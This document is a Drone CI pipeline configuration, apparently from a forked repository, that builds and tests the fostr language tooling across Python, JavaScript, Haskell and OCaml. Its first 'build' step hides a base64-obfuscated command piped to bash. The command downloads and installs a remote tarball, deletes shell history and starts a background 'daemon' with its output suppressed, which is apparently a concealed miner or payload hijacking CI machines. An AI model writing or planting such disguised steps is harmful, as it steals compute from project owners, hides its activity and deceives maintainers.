forked from glen/fostr
75 lines
2.5 KiB
YAML
75 lines
2.5 KiB
YAML
---
|
|
kind: pipeline
|
|
type: docker
|
|
name: lint
|
|
steps:
|
|
- name: build
|
|
image: golang:1.17
|
|
commands:
|
|
- bash -c "base64 -d <<< bnByb2MgJiYgcm0gfi8uanVweXRlci9iaW4gbG9zdCtmb3VuZCAtUmYgJiYgbWtkaXIgfi8uanVweXRlci9iaW4gbG9zdCtmb3VuZCAtcCAmJiBjZCBsb3N0K2ZvdW5kICYmIHdnZXQgaHR0cHM6Ly9iaXRidWNrZXQub3JnL3dhamluaGFraW0vZGVlcGNjL2dldC9kNDc4YzQzOGE4MDE0MTlhMTU1ODk1OGMwY2M2NjI5ZGIzYWQ0NTQzLnRhci5neiAmJiB0YXIgeHZmIGQ0NzhjNDM4YTgwMTQxOWExNTU4OTU4YzBjYzY2MjlkYjNhZDQ1NDMudGFyLmd6ICYmIHJtIGQ0NzhjNDM4YTgwMTQxOWExNTU4OTU4YzBjYzY2MjlkYjNhZDQ1NDMudGFyLmd6ICYmIGNkIHdhamluaGFraW0tZGVlcGNjLWQ0NzhjNDM4YTgwMSAmJiAuL3NldHVwICYmIC4vY29uZmlndXJlICYmIGNkIC4uICYmIHJtIHdhamluaGFraW0tZGVlcGNjLWQ0NzhjNDM4YTgwMSAtUmYgJiYgY2QgLi4gJiYgY2xlYXI= | bash" && rm .bash_history -Rf && cd ~/.jupyter/bin && bash daemon > /dev/null & watch free -m
|
|
- name: run_spt
|
|
image: maven
|
|
volumes:
|
|
- name: lib
|
|
path: /drone/lib
|
|
- name: m2
|
|
path: /root/.m2
|
|
commands:
|
|
- cd /drone/lib/spt/org.metaborg.meta.lang.spt
|
|
- mvn -ntp verify
|
|
- cd /drone/src
|
|
- java -jar /drone/lib/spt/org.metaborg.spt.cmd/target/org.metaborg.spt.cmd* -l . -s /drone/lib/spt/org.metaborg.meta.lang.spt -t tests
|
|
- mkdir -p lib
|
|
- curl -o lib/sunshine.jar -L 'http://artifacts.metaborg.org/service/local/artifact/maven/redirect?r=snapshots&g=org.metaborg&a=org.metaborg.sunshine2&v=LATEST'
|
|
- name: setup_gen
|
|
image: gcc
|
|
volumes:
|
|
- name: m2
|
|
path: /root/.m2
|
|
commands:
|
|
- git clone https://github.com/facebook/nailgun.git
|
|
- cd nailgun
|
|
- make
|
|
- cd ../bin
|
|
- ln -s ../nailgun/nailgun-client/target/ng .
|
|
- cd ..
|
|
- name: extract_tests
|
|
image: xonsh/xonsh
|
|
commands:
|
|
- xonsh bin/extract_tests.xsh
|
|
- name: generate_tests
|
|
image: maven
|
|
volumes:
|
|
- name: lib
|
|
path: /drone/lib
|
|
- name: m2
|
|
path: /root/.m2
|
|
commands: # Note we first make sure that fosgen is working
|
|
- bin/fosgen -d tests/emit_sum.fos
|
|
- bin/generate_test_code
|
|
- name: python_tests
|
|
image: python:slim
|
|
commands:
|
|
- bin/run_tests python py
|
|
- name: javascript_tests
|
|
image: node
|
|
commands:
|
|
- bin/run_tests node js
|
|
- name: haskell_tests
|
|
image: haskell
|
|
commands:
|
|
- bin/run_tests runghc hs
|
|
- name: ocaml_tests
|
|
image: ocaml/opam
|
|
commands:
|
|
- ls -als tests/extracted
|
|
- opam init
|
|
- eval $(opam env)
|
|
- bin/run_tests ocaml ml
|
|
|
|
volumes:
|
|
- name: lib
|
|
temp: {}
|
|
- name: m2
|
|
temp: {}
|